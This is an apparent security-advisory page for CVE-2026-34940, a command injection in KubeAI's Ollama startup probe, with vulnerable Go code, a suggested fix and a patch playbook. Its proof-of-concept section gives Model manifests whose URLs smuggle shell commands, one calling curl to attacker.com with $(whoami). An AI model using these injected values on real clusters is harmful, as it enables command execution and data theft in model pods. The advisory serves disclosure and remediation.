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HIGH severity

CVE-2026-34940 — kubeai

HIGH

CVE-2026-34940 is a high-severity (CVSS 8.7) OS Command Injection vulnerability in github.com/kubeai-project/kubeai. A fix is available for github.com/kubeai-project/kubeai — see the affected versions and patch details below.

KubeAI has an OS Command Injection via Model URL in Ollama Engine startup probe allows arbitrary command execution in model pods

Also known asGHSA-324q-cwx9-7crrGO-2026-4920
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34940.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk+0.02%
Lower risk than most CVEs40th percentile — riskier than 40% of all scored CVEsHighest risk
0.00%0.34%0.67%1.01%0.0%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/kubeai-project/kubeai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

CHAMP: Description

Summary

The ollamaStartupProbeScript() function in internal/modelcontroller/engine_ollama.go constructs a shell command string using fmt.Sprintf with unsanitized model URL components (ref, modelParam). This shell command is executed via bash -c as a Kubernetes startup probe. An attacker who can create or update Model custom resources can inject arbitrary shell commands that execute inside model server pods.

Details

The parseModelURL() function in internal/modelcontroller/model_source.go uses a regex (^([a-z0-9]+):\/\/([^?]+)(\?.*)?$) to parse model URLs. The ref component (capture group 2) matches [^?]+, allowing any characters except ?, including shell metacharacters like ;, |, $(), and backticks.

The ?model= query parameter (modelParam) is also extracted without any sanitization.

Vulnerable code (permalink):

func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    startupScript := ""
    if u.scheme == "pvc" {
        startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
    } else {
        if u.pull {
            pullCmd := "/bin/ollama pull"
            if u.insecure {
                pullCmd += " --insecure"
            }
            startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
        } else {
            startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
        }
    }
    // ...
    return startupScript
}

This script is then used as a bash -c startup probe (permalink):

StartupProbe: &corev1.Probe{
    ProbeHandler: corev1.ProbeHandler{
        Exec: &corev1.ExecAction{
            Command: []string{"bash", "-c", startupProbeScript},
        },
    },
},

Compare with the vLLM engine which safely passes the model ref as a command-line argument (not through a shell):

// engine_vllm.go - safe: args are passed directly, no shell involved
args := []string{
    "--model=" + vllmModelFlag,
    "--served-model-name=" + m.Name,
}

URL parsing (permalink):

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)

func parseModelURL(urlStr string) (modelURL, error) {
    // ref = matches[2] -> [^?]+ allows shell metacharacters
    // modelParam from ?model= query param -> completely unsanitized
}

There is no admission webhook or CRD validation that sanitizes the URL field.

PoC

Attack vector 1: Command injection via ollama:// URL ref

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi

The injected id>/tmp/pwned command executes inside the pod.

Attack vector 2: Command injection via ?model= query parameter

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject-pvc
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi

Impact

  1. Arbitrary command execution inside model server pods by any user with Model CRD create/update RBAC
  2. In multi-tenant Kubernetes clusters, a tenant with Model creation permissions (but not cluster-admin) can execute arbitrary commands in model pods, potentially accessing secrets, service account tokens, or lateral-moving to other cluster resources
  3. Data exfiltration from the model pod's environment (environment variables, mounted secrets, service account tokens)
  4. Compromise of the model serving infrastructure

Suggested Fix

Replace the bash -c startup probe with either:

  1. An exec probe that passes arguments as separate array elements (like the vLLM engine does), or
  2. Validate/sanitize u.ref and u.modelParam to only allow alphanumeric characters, slashes, colons, dots, and hyphens before interpolating into the shell command

Example fix:

// Option 1: Use separate args instead of bash -c
Command: []string{"/bin/ollama", "pull", u.ref}

// Option 2: Sanitize inputs
var safeModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)
if !safeModelRef.MatchString(u.ref) {
    return "", fmt.Errorf("invalid model reference: %s", u.ref)
}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kubeai-project/kubeaiall versions0.23.2go get github.com/kubeai-project/kubeai@v0.23.2

Affected Products

1 product · 1 configurations
Application
kubeaikubeai
< 0.23.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kubeai-project/kubeai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/kubeai-project/kubeai to 0.23.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34940 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

## CHAMP: Description ### Summary The `ollamaStartupProbeScript()` function in `internal/modelcontroller/engine_ollama.go` constructs a shell command string using `fmt.Sprintf` with unsanitized model URL components (`ref`, `modelParam`). This shell command is executed via `bash -c` as a Kubernetes startup probe. An attacker who can create or update `Model` custom resources can inject arbitrary shell commands that execute inside model server pods. ### Details The `parseModelURL()` function in `internal/modelcontroller/model_source.go` uses a regex (`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`) to par
O3 Security · Impact-Aware SCA

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CVE-2026-34940: kubeai — Fixed in 0.23.2